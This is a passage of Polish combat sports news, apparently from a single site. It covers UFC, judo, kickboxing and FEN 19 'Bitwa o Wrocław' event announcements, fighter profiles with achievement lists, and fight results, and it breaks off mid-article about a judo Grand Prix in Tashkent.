Mówiło się, że starcie „Cyborg” z byłą mistrzynią wagi koguciej miałoby się odbyć 30 grudnia na gali UFC 219. Skoro obie strony wyrażały chęć, to nic nie stało na przeszkodzie, aby doszło do walki. Jednak Justino postanowiła wstać od stołu. Wszystko przez finanse. Jak poinformowała mistrzyni wagi piórkowej UFC chciało jej zapłacić za walkę z Holm mniej niż za starcie z Evinger.

Wyliczenia Brazylijki

Można zażartować, że „Cyborg” wzięła kalkulator w dłoń i zaczęła liczyć. Gaże proponowane przez UFC nie spełniają jej wymagań. Zwłaszcza, że Brazylijka jest niepokonana w UFC. Dotychczasowe trzy walki wygrała przed czasem. Justino liczy, że jej dokonania zostaną docenione.

„Cyborg” chciałaby dostawać 500 tysięcy dolarów, czyli tyle, ile gwarantowane miały za obronę pasów Holly Holm i Miesha Tate. Jakie skutki przyniesie „strajk” Justino? W kobiecym MMA nie ma już tak wielu mocnych i wyrazistych zawodniczek. Może UFC sypnie Brazylijce nieco z portfela, bo ta jest gwarantem widowiska na wysokim poziomie.

KM

Dziewięcioro Polaków powalczy w MŚ

Ponad 600 zawodników zostało zgłoszonych do udziału w mistrzostwach świata juniorów w judo w Zagrzebiu. W tym gronie znalazło się dziewięcioro Polaków. Impreza odbędzie się w dniach 18-22 października. 

Pierwotnie rywalizacja o medale mistrzostw świata juniorów miała odbyć się w północnokoreańskim Pjongjangu. W kwietniu Międzynarodowa Federacja Judo zdecydowała o zmianie lokalizacji imprezy z racji napiętej sytuacji politycznej w azjatyckim kraju. Mistrzostwa przeniesiono do hali Dom Sportova w Zagrzebiu.

Medalistka ME naszą nadzieją

Dwa lata temu z Abu Dhabi biało-czerwoni przywieźli jeden medal. Na najniższym stopniu podium stanął Piotr Kuczera (90kg). W Zjednoczonych Emiratach Arabskich startowała również Julia Kowalczyk (57kg), która zajęła siódme miejsce. Wszyscy liczą, że w Zagrzebiu judoczka Polonii Rybnik wskoczy na podium, bo przez dwa lata zdobyła cenne doświadczenie, które właśnie teraz może zaprocentować. Warto przypomnieć, iż Julia Kowalczyk znalazła się w kadrze seniorek na tegoroczne mistrzostwa Europy seniorów i seniorek. Biało-czerwone sięgnęły po srebrny medal. 

W tym roku Kowalczyk stanęła również na podium europejskiego czempionatu w rywalizacji juniorek.  Zawodniczka Polonii Rybnik wywalczyła w Mariborze brązowy medal. Polka wygrała trzy pojedynki, a w półfinale przegrała z Larissą van Krevel. Dla Kowalczyk był to trzeci medal mistrzostw Europy juniorek i po raz kolejny brązowy. 20-latka prezentuje równą formę. W tym roku Kowalczyk stawała na podium w juniorskich Pucharach Europy w Gdyni (drugie miejsce) i Leibnitz (trzecia) oraz zdobyła brąz wśród seniorów w Grand Slam w Baku.

W związku z powyższym nie ma, co ukrywać, że 20-letnia judoczka jest naszą nadzieją medalową. Kowalczyk jest jedną z liderek naszej kadry, drugim mocnym nazwiskiem jest Anita Formela (+78kg).  20-latka rok temu wywalczyła brąz mistrzostw Europy juniorów, a w tym niewiele zabrakło jej, aby znaleźć się na podium. W Mariborze zawodniczka UKS Conrad Gdańsk po dwóch wygranych walkach, w półfinale przegrała z Romane Dicko. Z kolei w starciu o brąz Formela została zdyskwalifikowana w końcówce starcia z Kubranur Esir.

Może w końcu medal?

O pechu może mówić Jakub Ozimek (90kg). Po raz kolejny znalazł się poza podium europejskiego czempionatu. W 2016 był piąty, w tegorocznym starcie również znalazł się tuż za strefą medalową. Czy przełamanie przyjdzie na mistrzostwach świata w Zagrzebiu? Taki wynik byłby mile widziany. Tym bardziej, że w pierwszych tegorocznych startach Ozimek pokazał się z dobrej strony. Wygrał w Lignano, a później był trzeci w Gdyni.

Pierwszego dnia imprezy biało-czerwoni nie będą startować. 19 października w akcji zobaczymy Klaudię Cieślik (52kg), Julia Kowalczyk (57kg) i Annę Dąbrowską (57kg). Kolejnego dnia na tatami zaprezentują się Sebastian Marcinkiewicz (81kg) oraz Jakub Ozimek (90kg). 21 października wystąpią: Anita Formela (+78kg), Kacper Szczurowski i Dominik Majowski (100kg), a także Krzysztof Załęczny (+100kg). Biało-czerwoni nie wystąpią w turnieju drużynowym.

KM

Tybura zmierzy się z legendą

W listopadzie Marcin Tybura odwiedzi Australię. Na gali UFC Fight Night 121 w Qudos Bank Arena Polak miał się zmierzyć z doświadczonym i utytułowanym Markiem Huntem. Nowozelandczyk wypadł z karty walk. W jego miejsc wskoczył legendarny Fabricio Werdum.

Przed 31-letnim fighterem z Uniejowa nie lada wyzwanie. W Australii Tyburze przyjdzie rywalizować z jedną z ikon UFC. Ostatni test Polak zdał w imponującym stylu, czy w listopadzie w Sydney będzie podobnie?

Kolejny mistrz na drodze Tybury

W czerwcu na gali UFC Fight Night 111 w Singapurze Marcin Tybura pokonał przez decyzję sędziów mistrza amerykańskiej organizacji w wadze ciężkiej w latach 2005-2006 Andreja Arlovskiego. Co prawda 38-latek z Białorusi najlepsze lata ma za sobą, ale jego nazwisko nadal wiele znaczy w świecie MMA. Arlovski zanotował 25 zwycięstw w karierze i prezentował się na galach takich organizacji jak m.in. UFC, M-1 czy Strikeforce. Do walki z Tyburą Białorusin przystępował po czterech porażkach z rzędu. Polak odważnie zaczął starcie i obalił rywala, a w dosiadzie słał w jego stronę kolejne ciosy. Jednak z czasem do głosu zaczął dochodzić Arlovski, który w dominował drugiej rundzie. Tybura przetrwał napór, choć był bardzo zmęczony i w trzeciej odsłonie rywalizacji obalił rywala. Największe zwycięstwo Polaka w karierze stało się faktem.

Miło wraca się do tych wspomnień, jednak Marcin Tybura ma szansę dopisać kolejny rozdział pięknej przygody. W Sydney Polak miał zmierzyć się z 43-letnim Markiem Huntem, który ma za sobą bogatą karierę kickboxera, a także w MMA dorobił się miana gwiazdy. Nowozelandczyk w czerwcu w Auckland wygrał przed czasem z Derrickiem Lewisem. Z rywalizacji z Tyburą Hunt został wycofany ze względu na kłopoty z pamięcią. UFC zaleciło mu badania, a w Polaka zestawiono z Fabricio Werdumem.

40-letni Brazylijczyk to były mistrz UFC w wadze ciężkiej. Tymczasowy tytuł wywalczył pokonując… Hunta. Potem zwyciężył Caina Velasqueza i mógł poszczycić się posiadaniem pasa mistrzowskiego. W pierwszej obronie stracił go na rzecz Stipe Miocica. Ostatnim rywalem Werduma był Walter Harris, który przetrwał w oktagonie nieco ponad minutę. Podczas październikowej gali w Las Vegas Brazylijczyk poddał Amerykanina przez dźwignię na łokieć.

Co warto podkreślić, Marcin Tybura ma dobrą passę. Polak wygrał trzy walki z rzędu w UFC. Ostatnią porażkę poniósł w kwietniu 2016 roku, przegrał z Timothy'm Johnsonem.

Held ma rywala

Marcin Held będzie jedną z gwiazd październikowej gali UFC w Gdańsku. Kilka dni temu z powodu kontuzji z rywalizacji z Polakiem musiał wycofać się Teemu Packalen. Nowym przeciwnikiem fightera z Tych będzie Nasrat Haqparast, który zadebiutuje w UFC.

Dla Marcina Held występ w Ero Arenie będzie czwartym w amerykańskiej organizacji. Dotychczasowe trzy walki Polak przegrał.

Fot. Marcin Tybura Facebook

KM

Ciężar ich przygniótł

Każdy chciałby wejść na szczyt i osiągnąć sukces. Miana gwiazdy MMA dorobił się Jon Jones, zaś w boksie na pierwszy plan wybił się Tyson Fury. Obaj zostali mistrzami, ale nie wytrzymali presji.

Mówi się, że nie sztuką jest zdobyć tytuł, lecz później skutecznie bronić go. Równie istotna jest równowaga i rozsądek. Jak pokazują liczne doświadczenia – często problemem jest głowa i brak wsparcia, co dla wielu zawodników skończyło się fatalnie.

Jak to możliwe?

Większość, zwłaszcza starszych osób, zapyta – jak to możliwe, że ma wszystko i w mgnieniu oka marnuje to? Oczywiście nie chodzi tu tylko i wyłącznie o względy materialne, lecz pozycję, poważanie i efekty własnej ciężkiej pracy. Przypadek znanego z UFC Jona Jonesa i boksera Tysona Fury'ego pokazuje, że sukces oraz popularność mają swoje blaski i cienie.

Amerykański zawodnik MMA ma wiele na sumieniu. W kwietniu 2015 roku spowodował wypadek, w którym ucierpiała kobieta w ciąży. Jones przejechał na czerwonym świetle i uciekł z miejsca zdarzenia. Dodatkowo w aucie byłego mistrza wagi półciężkiej znaleziono marihuanę. Przyszłość przyniosła kolejne wydarzenia, które nie są powodem do chluby dla Jonesa. W 2016 roku Amerykanin został zawieszony na rok za stosowanie dopingu. 30-latek miał rywalizować o zunifikowanie pasa mistrza kategorii półciężkiej na gali UFC 200, ale w jego organizmie wykryto zakazane substancje. Zawodnik tłumaczył, że środki znalazły się w tabletkach na potencję, jednak nie przyjmował ich świadomie. Jones wrócił i 29 lipca br. pokonał Daniela Cormiera, dzięki czemu wywalczył mistrzowstwo wagi półciężkiej. Minęło kilka tygodni… Na jaw wyszło, że Jones ponownie stosował doping. W jego moczu wykryto turinabol. Komisja Sportowa Stanu Kalifornia była bezwzględna i zawiesiła Amerykanina na cztery lata oraz odebrała mu tytuł mistrzowski. 

Tyson Fury zawsze miał niewyparzony język w stosunku do rywali, a siebie określał jako tego, który jest najlepszy. W końcu jego pochwały w stosunku do własnej osoby znalazły potwierdzenie w rzeczywistości. Fury przerwał hegemonię Władimira Kliczko i został mistrzem wagi ciężkiej organizacji IBF, WBO, WBA i IBO. W kategorii królewskiej nastąpiło nowe otwarcie, jednak doświadczony Ukrainiec chciał walki rewanżowej. Nowy czempion na to przystał, ale z czasem uciekał od pojedynku. Głównym powodem miały być kłopoty zdrowotne Fury'ego. W końcu na światło dzienne wyszły problemy brytyjskiego boksera. Alkohol, narkotyki, depresja, niechęć do boksu – tak to wszystko wyglądało. W końcu Fury oddał pasy, ale nie zniknął, lecz dolewał oliwy do ognia. Mówił, że nienawidzi… boksu. Przybyło mu kilogramów, a po kilku miesiącach snuł plany o powrocie na ring.

Z nieba do piekła

Przykłady Jonesa i Fury'ego, przedstawione w skrótowej formie, obrazują, że z sukcesem trzeba umieć sobie poradzić. W przypadku MMA i boksu to nie tylko walka z rywalem, ale i z samym sobą, swoimi słabościami. Jones dla wielu stał się pierwszoplanową postacią UFC i przez lata dominował w wadze półciężkiej, ale w końcu wszystko rozsypało się jak domek z kart. Z kolei Fury totalnie się pogubił. W jego ustach mocne słowa względem boksu i innych zawodników brzmią groteskowo. Teraz Fury wyraził zainteresowanie walką z… Witalijem Kliczko.

Mieli wszystko, a upadają. Nie jest powiedziane, że nie odbiją się od dna. Dla sportów walki byłoby dobrze, żeby takie postaci funkcjonowały i wychodziły na prostą. Bo każdy ma prawo do chwili słabości, ale należy wstać i walczyć dalej. Czy Jonesowi i Fury'emu się to uda?

KM

Róża Gumienna

 

Polska zawodniczka Kickboxingu urodzona 6 sierpnia 1989 roku w Kobylinie. Walczy w formule K-1 w kategorii wagowej piórkowej. Róża jest doktorantką na Akademii Wychowania Fizycznego we Wrocławiu oraz wykładowcą na tej samej uczelni. Zawodowo Róża walczy dla organizacji Fight Exclusive Night, której jest mistrzynią. Od  2011 roku jest reprezentantką Kadry Narodowej w Kickboxingu. Na zawodowych ringach stoczyła 9 walk, wygrywając osiem z nich.  Pokonała m.in. takie rywalki jak: Marta Gusztab, Katarzyna Posiadała, Kamila Bałanda czy Martina Fendrichova. 14 października 2017 roku na gali FEN przegrała jednogłośną decyzją z Martą Waliczek, tym samym tracąc swój pas mistrzowski organizacji Fight Exclusive Night.

Poniżej lista osiągnięć w Kickboxingu i K-1:

  • Złoty Medal Pucharu Świata K-1, Innsbruck 2017
  • Mistrzyni FEN w wadze piórkowej, od 2017
  • Srebrny medal Mistrzostw Europy K-1, Maribor 2016
  • Złoty Medal Pucharu Świata K-1, Innsbruck 2015
  • Brązowy medal Mistrzostw Europy K-1, Bilbao 2014
  • Złoty medal Pucharu Świata w K-1, Szeged 2014
  • Złoty medal Mistrzostw Świata Low-Kick, Sau Paulo 2013
  • Złoty medal Pucharu Świata Low-Kick, Szeged 2013
  • Zawodowe Mistrzostwo Polski w K-1, 2013
  • Amatorskie Mistrzostwo Polski K-1, 2013,2014,2015,2016
  • Amatorskie Mistrzostwo Polski w K-1 oraz Low Kick 2013
  • Brązowy medal Mistrzostw Europy Low-Kick, Ankara 2012
  • Amatorskie młodzieżowe Mistrzostwo Polski, 2012,2013

Paweł Biszczak

Polski Karateka stylu Kyokushin i zawodnik Kickboxingu w formule K-1 urodzony 10 grudnia 1985 roku w Legnicy. Karate Kyokushin zaczął trenować w wieku 10 lat. Były członek kadry narodowej karate oraz wielokrotny Mistrz Polski i Europy Karate Kyokushin (formuła knockdown karate).Obecnie jest członkiem narodowej reprezentacji Polski w Kickboxingu, w którym zdobył tytuły mistrza Polski i Europy. Walczy zawodowo w organizacji Fight Exclusive Night, której jest mistrzem.

 

Osiągnięcia sportowe:

  • Mistrz FEN w wadze półśredniej, od 2017
  • Zawodowy Mistrz Polski w Kickboxingu K1, Zgorzelec 2014
  • Mistrz Europy kickboxingu w formule K1, Lizbona 2012
  • I miejsce Grand Prix Russia Open K1, Niżny Nowogród, 2012
  • I miejsce w gali K1 Grand Prix, Kalininingrad 2011
  • Mistrz Europy kickboxingu w formule K1, Świebodzice 2011
  • Zawodowy Mistrz Polski Kickboxing Low-Kick 2007 ISKA
  • I miejsce w Mistrzostwach Europy Karate Open – Gorzów 2011
  • I miejsce w Mistrzostwach Polski Karate Open – Legnica 2011
  • I miejsce w Mistrzostwach Polski Karate (wagowych) – Mielno 2011
  • I miejsce w Mistrzostwach Ukrainy Zachodniej – Drohobycz 2010, 2011
  • I miejsce w Mistrzostwach Polski Karate Open – Świnoujście 2010
  • III miejsce w Mistrzostwach Europy Karate (wagowych) – Bukareszt 2010
  • I miejsce w Mistrzostwach Polski Karate Open – Lublin 2009
  • I miejsce w Mistrzostwach Polski Karate (wagowych) – Sieradz 2009
  • I miejsce w Otwartych Mistrzostwach Holandii – Papendrecht 2009
  • I miejsce w Mistrzostwach Polski Karate (wagowych) – Włocławek 2004
  • I miejsce w Otwartych Mistrzostwach Niemiec – Frankfurt 2004
  • Międzynarodowy Zawodowy Mistrz Polski Muay Thai 2012 WKN
  • 2 x Międzynarodowy Zawodowy Mistrz Polski Muay Thai 2009/2011 WPMF
  • Mistrz Europy Muay Thai 2007 WMF
  • 7 x Mistrz Polski -Muay Thai, Kickboxing Low Kick.

Rafał Dudek

Polski zawodnik Kickboxingu oraz Muay Thai urodzony 4 marca 1984 roku w Nowym Sączu. Amatorski i zawodowy Mistrz Polski w K-1, brązowy medalista Mistrzostw Europy WAKO European Championships z 2012 w Ankarze. Jest także zdobywcą tytułu Intercontinental Low Kick Super Welter Weight Champion, który zdobył dzięki walce w Trynidadzie i Tobago. Był zawodnikiem klasyfikowanym w rankingach prestiżowej organizacji Glory World Series. W swojej karierze stoczył blisko 120 walk amatorskich, z czego wygrał 94. Jako zawodowiec do swoich pojedynków przygotowuje się w holenderskim klubie Mike’s Gym. Na zawodowym ringu wystąpił 23 razy, z czego 15 razy wychodził z walk jako zwycięzca. W 2015 roku wziął udział w prestiżowej gali Shoot Boxing 30th Anniversary w Tokio gdzie przegrał na punkty z zawodnikiem gospodarzy, dwukrotnym Mistrzem Świata – Hioroyaki Suzuki. Jego trenerami byli Andrzej Śliwa oraz później Tomasz Mamulski (trener Reprezentacji Polski w K-1).

FEN 19 Bitwa o Wrocław official trailer

Już 14 października 2017 federacja Fight Exclusive Night po raz siódmy zawita do Wrocławia. FEN19 „Bitwa od Wrocław” odbędzie się w Hali Orbita, a zobaczymy w niej aż 10 pojedynków – 6 w formule MMA i 4 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże.

Włodarze federacji FEN zapewniają, że przygotowali piekielnie mocną kartę walk, jednak na tą chwilę zdradzają tylko dwa zestawienia. Jednym z nich będzie pierwszy w historii FEN „Freak Fight” – w formule MMA i w kategorii do 77kg zmierzą się „Arab” i „Ruby. Gabriel Al-Sulwi, czyli „Arab”, to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło pokonać problem z narkotykami i znaleźć nowy cel w życiu. Z kolei Bartłomiej Brzeziński, czyli „Ruby”, znany jest przede wszystkim jako raper „Ganja Mafia”, lecz od dłuższego czasu równie intensywnie trenuje sporty walki.

Innym ciekawym pojedynkiem, jaki zobaczą kibice w Hali Orbita, będzie starcie pomiędzy Pawłem Biszczakiem (24-3) z Igorem Danisem . Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.

[kod]

Tomasz Sarara

Polski Kickbokser oraz bokser wagi ciężkiej urodzony 31 maja 1985 roku w Krakowie. Zwycięzca bokserskiego turnieju Bigger's Better z 2013. W latach 2015-2017 zawodnik Fight Exclusive Night gdzie od 2016 został mistrzem w wadze półciężkiej. Aktualnie związany z Spartan Fight. Wieloletnim trenerem Sarary jest czterokrotny zwycięzca K-1 World GP Ernesto Hoost. W 2008 na Mistrzostwach Europy WAKO w Porto, zajął drugie miejsce w kat. +91 kg, przegrywając w finale z Białorusinem Alaksiejem Kudzinem. 18 lipca 2008 został zawodowym mistrzem Polski w kat. +91 kg, wygrywając z Danielem Omielańczukiem na punkty. 10 maja 2009 na gali Angels of Fire V, pokonał przez techniczny nokaut w 1. rundzie Kamila Sokołowskiego, zostając mistrzem Polskiego Związku Kick-boxerskiego (PZKB) w kat. 95 kg. 28 marca 2010 zadebiutował w turnieju K-1, który miał miejsce w Warszawie. Sarara doszedł ostatecznie do finału, przegrywając w nim przez nokaut z Estończykiem Daniilem Sapljoszynem. Wcześniej Polak pokonywał w ćwierćfinale Białorusina Ihara Buhajenke i w półfinale z Ukraińca Dmitrija Bezusa. W latach 2010-2012 zostawał m.in. mistrzem Polski w formule low kick, mistrzem Baltic Martial Arts Federation (BMAF) w wadze ciężkiej oraz dochodził do finału rosyjskiego turnieju Tatneft Arena, podczas którego wygrywał m.in. z Saulo Cavalarim. W 2014 ponownie został mistrzem Polski w low kicku. Od 2015 jest związany z Fight Exclusive Night gdzie jak dotąd jest niepokonany oraz dzierży od 15 października 2016 pas mistrzowski w kat. 95 kg. 6 października 2017 został mistrzem polsko-irlandzkiej organizacji Celtic Gladiator pokonując przed czasem Luciano Zampieriego. W latach 2010-2013 startował w turniejach bokserskich Bigger's Better. 4 listopada 2011 został finalistą zawodów, przegrywając w decydującym starciu z Francuzem Nicolasen Wambą na punkty, natomiast 24 maja 2013, wygrał 22 edycję turnieju, pokonując w finałowym pojedynku Słowaka Tomasa Moznego. 24 września 2016 zawodowo zadebiutował w boksie, nokautując Łukasza Zygmunta w 2. rundzie.

Osiągnięcia sportowe:

  • Sześciokrotny amatorski mistrz Polski
  • 2008: Mistrzostwa Europy WAKO – 2. miejsce w kat. +91 kg
  • 2008: mistrz Polski K-1 w kat. +91 kg
  • 2009: mistrz PZKB w kat. 95 kg
  • 2010: K-1 WGP 2010 Warszawa – 2. miejsce
  • 2010: mistrz Polski w formule low kick w kat. +91 kg
  • 2012: mistrz BMAF w kat. 95 kg
  • 2012: Tatneft Arena – 2. miejsce
  • 2014: mistrz Polski w formule low kick w kat. +91 kg
  • 2014: Mistrzostwa Polski w K-1 – 3. miejsce w kat. +91 kg
  • 2016: mistrz FEN w kat. -95 kg
  • 2017: mistrz Celtic Gladiator w kat. -95 kg
  • 2011: Bigger's Better 8 – 2. miejsce
  • 2013: Bigger's Better 22 – 1. miejsce

Spróbuje sił w boksie

Tomasz Drwal niczym Conor McGregor? Dlaczego nie! Polski fighter spróbuje swoich sił w boksie już 4 listopada. Rywalem Drwala będzie Vasil Ducar.

Kibice długo musieli czekać na powrót Tomasza Drwala. 35-latek zaprezentuje się w Krakowie, jednak tym razem nie w walce na zasadach MMA. Drwal postanowił posmakować boksu.

Nowe wyzwanie

Kto nie lubi podejmować wyzwań i sprawdzać się na różnych polach? Dla wielu stanowi to mobilizację, a zarazem podstawę do udowodnienia sobie własnych możliwości oraz wartości. Czasami po prostu chcemy czegoś spróbować. Motywacje mogą być różne. W ostatnim czasie w świecie sportów walki przyzwyczailiśmy się, że większość zawodników emigruje do MMA. A w odwrotnym kierunku? Przykład dał jednak Conor McGregor, który postanowił spróbować boksu i ściągnął z emerytury Floyda Mayweathera Jr. Nie da się ukryć, że w tym wypadku kluczowe znaczenie odgrywały pieniądze. 

W rywalizacji bokserskiej kibice będą mogli zobaczyć również Tomasza Drwala. Popularny „Gorilla” był pierwszym Polakiem zakontraktowanym przez UFC. W amerykańskiej organizacji stoczył sześć walk, z których trzy wygrał. 35-latek pokonał Ivana Seratiego, Mike'a Ciesnolevicza i Drewa McFedriesa. Na koniec przygody z UFC Drwal przegrał z Davidem Branchem. Zawodnik z Krakowa przyzwyczaił kibiców do efektywnego stylu, bo aż 12 z 21 zwycięstw odniósł przez nokaut. Ostatni raz walczył  w maju 2015 roku, kiedy to na gali KSW 31 przegrał z Michałem Materlą.

W końcu Tomasz Drwal wraca, ale zarazem będzie to jego debiut. Tym razem Polak będzie rywalizował w boksie. – Trochę się naczekałem na kolejną walkę, ale lepiej późno niż później. Zapraszam 4 listopada na Wieczór Walk R8 do Krakowa. Sam jestem ciekaw jak to będzie w boksie. Zapowiada się fajne wyzwanie. Twardy rywal, który z pewnością pójdzie na mocne wymiany. I dobrze. Będą ludzie mieli co oglądać – napisał na swoim Facebooku Tomasz Drwal.

Rywalem Polaka będzie Vasil Ducar. 27-Czech ma za sobą cztery walki bokserskie, wszystkie wygrał przed czasem.

Wieczór pełen walk

4 listopada w Małej Hali Tauron Arenie Kraków odbędzie się 15 walk, w tym pięć zawodowych i dziesięć półzawodowych. Dla wielu zawodników będzie to szczególne doświadczenie.

Wśród fighterów, którzy zaprezentują się w Krakowie są m.in. Sebastian Kotwica i Michał Bobrowski. 25-letni zawodnik Szkoły Walki Drwala wygrał sześć pojedynków z rzędu. Z kolei 22-letnik Bobrowski ma na swoim koncie sześć wygranych walk, w tym pięć przed czasem.

Fot. Tomasz Drwal Facebook

KM

Łukasz Pławecki

Polski zawodnik Kickboxingu i Muay Thai urodzony 25 stycznia 1987 roku w Nowym Sączu. Jest 8-krotnym Mistrzem Polski, zdobywcą Pucharu Świata w K-1, posiada 3 pasy Zawodowego Mistrza Polski. W latach 2005-2014 reprezentował Polskę jako członek kadry narodowej. W 2013 roku, za osiągnięcia zawodowe i trenerskie, został odznaczony przez Ministra Sportu. 16 kwietnia 2015 roku Pławecki odebrał z rąk Marszałka Województwa Małopolskiego nagrodę „Małopolski Laur Sportu”. Stoczył 126 walk amatorskich i 31 zawodowych.

Osiągnięcia sportowe:

  • 2016 Mistrz Świata WKN w Kickboxingu
  • 2014 Międzynarodowe Zawodowe Mistrzostwo Polski Kickboxing Low Kick
  • 2013 Zawodowy Mistrz Polski w Kickboxingu Low Kick
  • 2013 Międzynarodowe Zawodowe Mistrzostwo Polski K-1

2011-2013

  • Międzynarodowe Mistrzostwo Polski K-1, tytuł Najlepszego Zawodnika Turnieju
  • Vice Mistrzostwo Polski Low Kick Seniorów
  • Trzy tytuły Mistrza Polski Low Kick

2009

  • II miejsce Puchar Świata K-1, Szeged

2008

  • 3 miejsce Młodzieżowe Mistrzostwa Polski Low-Kick
  • 3 miejsce Mistrzostwa Polski K1

2007

  • Vice Mistrzostwo Polski Seniorów w Low-Kicku

2006

  • 3 miejsce Puchar Świata Szeged Węgry, w formule Low-Kick
  • Mistrz Polski Młodzieżowców w formule Low-Kick
  • Vice-Mistrz Polski w formule Low-Kick
  • Vice-Mistrz Polski w formule Full-Contact

2005

  • Mistrz Polski Juniorów w formule Low-Kick
  • Mistrz Polski Juniorów w formule Full-Contact
  • 3 miejsce Mistrzostwa Polski w formule Low-Kick
  • 3 miejsce Mistrzostwa Polski w formule Full-Contact

2004

  • Vice-Mistrz Polski Południowej Juniorów w formule Full-Contact
  • Vice-Mistrz Polski Juniorów w formule Full-Contact

Piaseczno Fight Night VI "Masters Fight Series 1" – wyniki

MASTERS FIGHT SERIES I – Piaseczno, 07.10.2017

Wyniki Walk:

1. K1 71 kg Łukasz Jabłoński pokonał Pawła Józefowicza przez decyzję (2:1)
2. K-1 86 kg Paweł Gierzyński pokonał Mateusza Żukowsiego przez decyzję (3:0)
3. K-1 81 kg Edgaras Banikonis pokonał Kamila Połosaka przez decyzję (2:1)
4. K-1 67 kg Kamil Rościński pokonał Bartłomieja Salaka KO r. 3

 

Walki o tytuł zawodowego Międzynarodowego Mistrza Polski PZKB:

5. K1 60 kg Joanna Różańska pokonała Weronikę Drobiasko przez decyzję (3:0)
6. K-1 75 kg Roger Garbaczewski pokonał Zygimantasa Kulikauskasa przez decyzję (3:0)

 

Extra Fight:

7. K-1 56 kg Dorota Godzina pokonała Anetę Kopeć przez decyzję (3:0)

 

Walki wieczoru:

8. F-C 67 kg Eliasz Jankowski pokonał Kamila Dychałę przez decyzję (3:0)

 

Walka o tytuł zawodowego Międzynarodowego Mistrza Polski PZKB:

9. F-C 81 kg Łukasz Wichowski pokonał Evgeniego Matiuszonoka przez decyzję (3:0)

Tony Ferguson

Amerykański zawodnik MMA urodzony 12 lutego 1984 roku w Oxnard. Ferguson jest zwycięzcą 13 sezonu reality show The Ultimate Fighter w wadze półśredniej z 2011 oraz tymczasowym mistrzem Ultimate Fighting Championship w wadze lekkiej z 2017. W MMA zadebiutował 12 kwietnia 2008 wygrywając z Stevem Avalosem. Do końca roku wygrał dwa kolejne pojedynki, w tym jeden z utytułowanym thai-boxerem Joe Schillingiem przez poddanie. 25 października 2010 zdobył pas mistrza PureCombat w wadze półśredniej po pokonaniu Brocka Jardine przez techniczny nokaut. Uzyskawszy od debiutu rekord 10 zwycięstw i 2 porażek w 2011 wziął udział w programie The Ultimate Fighter gdzie znalazł się w drużynie prowadzonej przez Brocka Lesnara. Ostatecznie Ferguson wygrał program w kat. półśredniej (do 77 kg) pokonując w finale 4 czerwca 2011 Ramseya Nijema przez KO w pierwszej rundzie i otrzymując w nagrodę kontrakt z UFC. 24 września 2011 na UFC 135 pokonał Aarona Rileya przez TKO w pierwszej rundzie, natomiast 3 grudnia tego samego roku wypunktował Bahamczyka Yvesa Edwardsa. 5 maja 2012 przegrał z Michaelem Johnsonem jednogłośnie na punkty, notując pierwszą porażkę w UFC. 19 października 2013 poddał duszeniem Mike Rio. Wygrana nad Rio zapoczątkowała passę dziewięciu zwycięstw z rzędu Fergusona w organizacji. Od października 2013 pokonywał m.in. Gleisona Tibau, Josha Thomsona, Edsona Barbozę czy Rafaela dos Anjosa. W tym czasie był również dwukrotnie zestawiany z Chabibem Nurmagomiedowem, w tym raz o tymczasowe mistrzostwo UFC wagi lekkiej (marzec 2017) jednak do obu walk nie doszło z powodu problemów zdrowotnych Rosjanina. Zamiast tego o tymczasowe mistrzostwo zmierzył się 7 października 2017 z Kevinem Lee którego ostatecznie pokonał przez poddanie w trzeciej rundzie i zdobył pas.

Konferencja, Media Trening oraz FACE-TO-FACE przed FEN19!

Od czwartku, 12 października, Wrocław zostanie opanowany przez Fight Exclusive Night. 19. edycja gali, którą dumnie nazwano „Bitwa o Wrocław” odbędzie się już 14 października w Hali Orbita. Zanim jednak do tego dojdzie, został zaplanowany szereg wydarzeń poprzedzający pojedynki najlepszych polskich zawodników i zawodniczek w MMA i K-1.

W czwartek, 12 października,  o godzinie 13:00 na Stadionie Wrocław (Al. Śląska 1) w sali konferencyjnej odbędzie się konferencja prasowa z udziałem czołowych zawodników, których będzie można podziwiać  w Hali Orbita. Głos zabiorą Róża Gumienna, Marta Waliczek, Barbara Nalepka, Gabriel Al-Sulwi „Arab”, Bartłomiej „Ruby” Brzeziński, Arkadiusz Wrzosek, Michał Michalski, Paweł Biszczak i Paweł Brandys.

Ci sami zawodnicy tuż po zakończeniu konferencji prasowej wezmą udział w media treningu. Jego start zaplanowano na godzinę 14:00, a odbędzie się on w siłowni FUNFIT II,  na Stadionie Wrocław (Al. Śląska 1).

W piątek z kolei, 13 października, o godzinie 16:00 w Hali Orbita zaplanowana jest oficjalna ceremonia ważenia, podczas której stawią się już wszyscy bohaterowie gali. Będzie to również okazja do zobaczenia zawodników w charakterystycznej pozycji „Face to Face”. Po ważeniu fighterzy będą do dyspozycji dziennikarzy i udzielą wywiadów.

Zarówno czwartkowe jak i piątkowe wydarzenia będą otwarte dla kibiców.

WAŻNE!

Dziennikarze mogą ubiegać się o akredytacje prasowe na te wydarzenie. Wnioski składać można TYLKO drogą mailową i NIE OBOWIĄZUJE już system Accredito.

Akredytacje udzielane są na podstawie zgłoszenia mailowego na adres mail: j.borowicz@fen-mma.com. Prosimy o zawarcie takich informacji, jak imię i nazwisko osoby akredytowanej, nazwa redakcji, numer PESEL, numer telefonu oraz adres mailowy.

Wnioski akredytacyjne należy składać do 12 października 2017 roku.

Pełna karta walk FEN 19 „Bitwa o Wrocław” prezentuje się następująco:

77 kg K-1 – Igor Danis VS Paweł Biszczak
77 kg MMA – Bartłomiej „Ruby”Brzeziński – Gabriel Al.-Sulwi „Arab”
+95 kg K-1 – Nikolaj Falin VS Arkadiusz Wrzosek
77 kg MMA – Nassourdine Imavov VS Michał Michalski
65 kg K-1 – Marta Waliczek VS Róża Gumienna
84 kg MMA – Bartosz Leśko VS Paweł Brandys
56 kg MMA – Magdalena Rak VS Barbara Nalepka
77 kg MMA – Tymoteusz Łopaczyk VS Adrian Błeszyński
70 kg MMA – Patryk Nowak VS Jakub Mroczkowski
70 kg K-1 Marcin Stopka VS Krzysztof Kottas

Pacut sięgnęła po srebro w Taszkiencie

Polska zakończyła rywalizację  w Grand Prix w Taszkiencie z trzema medalami. Do Anny Borowskiej (57kg) i Agaty Perenc (52kg) dołączyła Beata Pacut (78kg), która zdobyła srebrny krążek.

Biało-czerwoni mogą być zadowoleni ze swojego występu. Złoto, dwa srebra oraz jedno piąte miejsce dały Polsce czwarte miejsce w klasyfikacji końcowej.

Ponownie druga

